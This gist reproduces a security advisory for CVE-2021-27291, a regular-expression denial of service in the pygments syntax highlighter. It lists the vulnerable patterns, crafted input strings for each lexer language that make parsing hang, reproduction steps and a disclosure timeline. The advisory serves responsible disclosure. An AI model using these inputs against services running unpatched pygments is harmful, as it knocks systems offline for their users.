b-c-ds / **CVE-2021-27291-pygments.txt**

Created last year

Star

Code | Revisions 1 | Stars 1 | Forks 1

cve-2021-27291

CVE-2021-27291-pygments.txt

```
Doyensec Vulnerability Advisory
CVE-2021-27291
======================================================================
* Regular Expression Denial of Service (REDoS) in pygments
* Affected Product: pygments v1.1+, fixed in 2.7.4
* Vendor: https://github.com/pygments
* Severity: Medium
* Vulnerability Class: Denial of Service
* Status: Fixed
* Author(s): Ben Caller (Doyensec)
======================================================================

=== SUMMARY ===

In pygments, the lexers used to parse programming languages rely heavily on regular expressions.
Some of the regular expressions have exponential or cubic worst-case complexity and are vulnerable to Regular Expression Denial of Service
By crafting malicious input, an attacker can cause Denial of Service.

=== TECHNICAL DESCRIPTION ===

The vulnerable regular expressions are below. Line numbers refer to pygments version 2.7.3.

pygments/lexers/archetype.py #61
Pattern: [+-]?(\d+)*\.\d+%?
Complexity: exponential
Example: '0' * 3456
Repeated character: \d
Languages: ODIN, CADL, ADL

The above shows that the python code

    re.match(r"[+-]?(\d+)*\.\d+%?", "0" * 123)

will run approximately forever.

pygments/lexers/factor.py #268
Pattern: """\s+(?:.|\n)*?\s+"""
Complexity: cubic
Repeated character: \s
Example: '"""' + ' ' * 3456
Languages: Factor

pygments/lexers/factor.py #325
Pattern: (\{\s+)(\S+)(\s+[^}]+\s+\}\s)
Complexity: cubic
Repeated character: \s
Example: '{ 0' + ' ' * 3456
Languages: Factor

pygments/lexers/jvm.py #984
Pattern: ".*``.*``.*"
Complexity: cubic
Repeated character: \x60 (`)
Example: '"' + '`' * 3456
Languages: Ceylon

pygments/lexers/matlab.py #140
pygments/lexers/matlab.py #641
pygments/lexers/matlab.py #713
Pattern: (\s*)(?:(.+)(\s*)(=)(\s*))?(.+)(\()(.*)(\))(\s*)
Complexity: cubic
Repeated character: \s
Example: ' ' * 3456
Languages: Matlab, Octave, Scilab

pygments/lexers/objective.py #264
Pattern: (%config)(\s*\(\s*)(\w+)(\s*=\s*)(.*?)(\s*\)\s*)
Complexity: cubic
Repeated character: \s
Example: '%config(a=' + ' ' * 3456
Languages: Logos

pygments/lexers/objective.py #268
Pattern: (%new)(\s*)(\()(\s*.*?\s*)(\))
Complexity: cubic
Repeated character: \s
Example: '%new(' + ' ' * 3456
Languages: Logos

pygments/lexers/templates.py #1408
```

```
Pattern: (\$)(evoque|overlay)(\{(%)?)(\s*[#\w\-"\'.]+[^=,%}]+?)?(.*?)((?(4)%)\})
Complexity: cubic
Repeated character: [22:",23:#,27:',aa,2d:-,2e:.,b5,ba,[f8-ff],[a-z],[A-Z],[c0-d6],[d8-f6]]
Example: '$evoque{' + 'a' * 3456
Languages: Evoque

pygments/lexers/varnish.py #64
Pattern: (\.\w+\b)(\s*=\s*)([^;]*)(\s*;)
Complexity: cubic
Repeated character: \s
Example: '.a=' + ' ' * 3456


=== REPRODUCTION STEPS ===

In some cases, the lexer will only use the vulnerable regex when a prefix is added to the input.
As an example, causing REDoS via the ODIN / CADL lexer requires a '<' before the long string of digits.

Create a file redos.odin containing:

    <000000000000000000000000000000

Run `pygmentize redos.odin`. It will run for a very long time.
As the complexity is exponential, adding one extra digit will double the processing time.
For cubic complexity REDoS, doubling the length of the repeating section makes processing take 8 times as long.

Below are recipes for creating source code files which cause REDoS:

ADL: 'language\n <' + '0' * 30
CADL / ODIN: '<' + '0' * 30
Ceylon: '"' + '`' * 3456
Evoque: '$evoque{' + 'a' * 3456
Factor: '"""'+ " " * 3456
Logos: '%new(' + ' ' * 3456
Matlab: 'function' + ' ' * 3456
Varnish VCL: 'backend x{.a=' + ' ' * 3456


=== REMEDIATION ===

Fix the regular expressions to avoid overlapping capture groups.

=== DISCLOSURE TIMELINE ===

2020-12-29: Vulnerability disclosed via email to maintainer
2021-01-11: Fixed in https://github.com/pygments/pygments/commit/2e7e8c4a7b318f4032493773732754e418279a14
2021-01-12: Patched version 2.7.4 released

======================================================================

Doyensec (www.doyensec.com) is an independent security research
and development company focused on vulnerability discovery and
remediation. We work at the intersection of software development
and offensive engineering to help companies craft secure code.
```

b-c-ds commented on May 11, 2021 Author

Discovered with regexploit.
Blog